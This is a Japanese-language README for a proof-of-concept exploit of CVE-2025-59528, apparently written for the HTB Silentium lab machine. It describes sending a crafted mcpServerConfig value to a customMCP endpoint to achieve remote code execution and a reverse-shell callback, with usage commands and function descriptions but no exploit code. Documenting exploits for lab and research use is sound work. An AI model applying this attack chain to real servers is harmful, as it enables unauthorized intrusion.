
CVE-2025-59528のPoC。HTBのSilentiumマシン上でリモートコード実行(RCE)を達成するために使用される。
教育目的のみ。 このプロジェクトは、管理されたセキュリティ研究、教室でのデモンストレーション、および隔離されたラボでの許可されたテストを目的としています。自分が所有していない、または明示的なテスト許可を得ていないシステム、ネットワーク、アプリケーション、アカウントに対して使用しないでください。
この概念実証(PoC)は、不適切に処理された mcpServerConfig 値が、customMCP ノードロード機能を介してサーバーサイドのJavaScript評価やコマンド実行を許す可能性があることを示しています。
このスクリプトは、以下の2つの認証方法をサポートしています。
Authorization ヘッダーでAPIキーを送信します。認証後、スクリプトは細工された設定を /api/v1/node-load-method/customMCP に送信します。ペイロードは Node.js の子プロセス機能を使用してシェルコマンドを実行し、研究者が管理するリスナーへのコールバック接続を確立します。この動作は、許可されたラボ環境での潜在的な影響を示すためだけに含まれています。
requests パッケージ。依存関係をインストールするには:
python3 -m pip install requests
スクリプトを CVE-2025-59528.py として保存してください。
python3 CVE-2025-59528.py <email> <password> <target-host> <callback-ip> <callback-port>
ドキュメント専用の値を使用した例:
python3 CVE-2025-59528.py [email protected] 'REDACTED_PASSWORD' lab.example.test 192.0.2.10 4444
python3 CVE-2025-59528.py <api-key> <target-host> <callback-ip> <callback-port>
ドキュメント専用の値を使用した例:
python3 CVE-2025-59528.py 'REDACTED_API_KEY' lab.example.test 192.0.2.10 4444
スクリプトは、以下のアプリケーションルートが利用可能であることを前提としています:
/api/v1/auth/login/api/v1/node-load-method/customMCP現在のスクリプトは http:// URL を構築します。TLS を必要とするラボ環境をテストする場合は、HTTPS 用に実装を更新してください。
main() はコマンドライン引数の数を検証し、認証モードを選択します。login() は提供された認証情報をログインエンドポイントに送信します。tokens() は Set-Cookie レスポンスヘッダーからセッション値を抽出します。shell() は認証済みリクエストを構築し、細工された mcpServerConfig 値を送信します。bearer() はセッションCookieの代わりにベアラートークンを使用して同じリクエストを実行します。